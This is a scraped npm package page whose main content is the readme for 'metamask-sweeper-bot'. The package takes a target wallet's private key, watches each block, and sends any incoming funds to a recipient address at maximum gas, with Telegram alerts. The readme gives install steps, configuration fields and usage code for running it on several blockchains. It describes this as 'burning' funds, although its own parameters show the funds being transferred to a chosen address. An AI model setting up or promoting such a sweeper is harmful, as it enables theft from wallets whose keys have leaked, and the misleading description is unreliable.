npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2024 – Pkg Stats / Ryan Hefner

metamask-sweeper-bot

v1.1.0

Published

Watches each block for a balance update, and if one is detected, burns all that funds by transferring funds with the highest possible transaction fee, effectively burning it from the account.

Downloads

13

Readme

GitHub license npm GitHub issues GitHub stars GitHub forks

Description

metamask-sweeper-bot is an npm package that watches each block for a balance update. If a balance update is detected, it burns all the funds by transferring them with the highest possible transaction fee, effectively burning them from the account.

Supported Chains

  • Ethereum: Mainnet, Goerli, Sepolia
  • Polygon: Mainnet, Mumbai, Amoy
  • Optimism: Mainnet, Goerli, Kovan, Sepolia
  • Arbitrum: Mainnet, Goerli, Rinkeby, Sepolia
  • Astar: Mainnet
  • PolygonZKEVM: Mainnet, Testnet
  • Base: Mainnet, Goerli, Sepolia
  • Zksync: Mainnet, Sepolia

Available Parameters

  • target_wallet_private_key: Private key of the target wallet.
  • recipient_address: Wallet address for receiving burning funds.
  • telegram_user_id: Your Telegram user ID for sending messages.
  • telegram_bot_token: Your Telegram bot token ID.
  • network_name: Name of the burning network. [ex- Ethereum, Ethereum Sepolia] ( use only for sending telegram message ).

Optional Parameters:

  • server_port: Bot running server port number.
  • extra_gas_fee: Extra gas fee in Gwei. Adding more gas fee can speed up the burning process (higher Gwei, faster burning).
  • gas_limit: Gas limit per unit. Minimum required is 21,000. Increasing gas limit can speed up transactions.

Getting started :-

1. Installation

npm install metamask-sweeper-bot

2. Setting up Telegram Bot

  1. Go to @BotFather on Telegram and create a new bot. Copy the bot token provided.
  2. Visit @userinfobot and get your Telegram user ID.

3. Generating RPC URLs

  1. Sign up for accounts on Alchemy and Infura services to get RPC URLs.

4. Usage

TypeScript

import { Bot } from "metamask-sweeper-bot";
const bot = new Bot('RPC URL');

Node.js

const { Bot } = require("metamask-sweeper-bot");
const bot = new Bot('RPC URL');

Bot Configuration

const details = {
    target_wallet_private_key: 'Target wallet private key',
    recipient_address: 'Recipient address',
    telegram_user_id: 'Your Telegram user ID',
    telegram_bot_token: 'Your Telegram bot token',
    network_name: 'Network name',

    server_port: 'Bot running server port (optional)',
    extra_gas_fee: 'Extra gas fee in GWEI (optional)',
    gas_limit: 'Gas limit per unit (optional)'
};

bot.Config(details);

Bot Start Function

bot.start();

5. Running the Bot

node index.js

Your bot is now running. Wait for it to receive funds on your target wallet.

Questions and Feedback

If you have any questions, issues, or feedback, please file an issue on GitHub, or drop us a message on our Telegram channel for the SDK.

🙋‍♀️ WE WANT TO HEAR FROM YOU!

We're interested in knowing how we can make your web3 development experience better! If you have a few minutes, please share your ideas and suggestions with us using our Feedback Form. Your input is valuable, and we're committed to creating tools and features that suit your needs.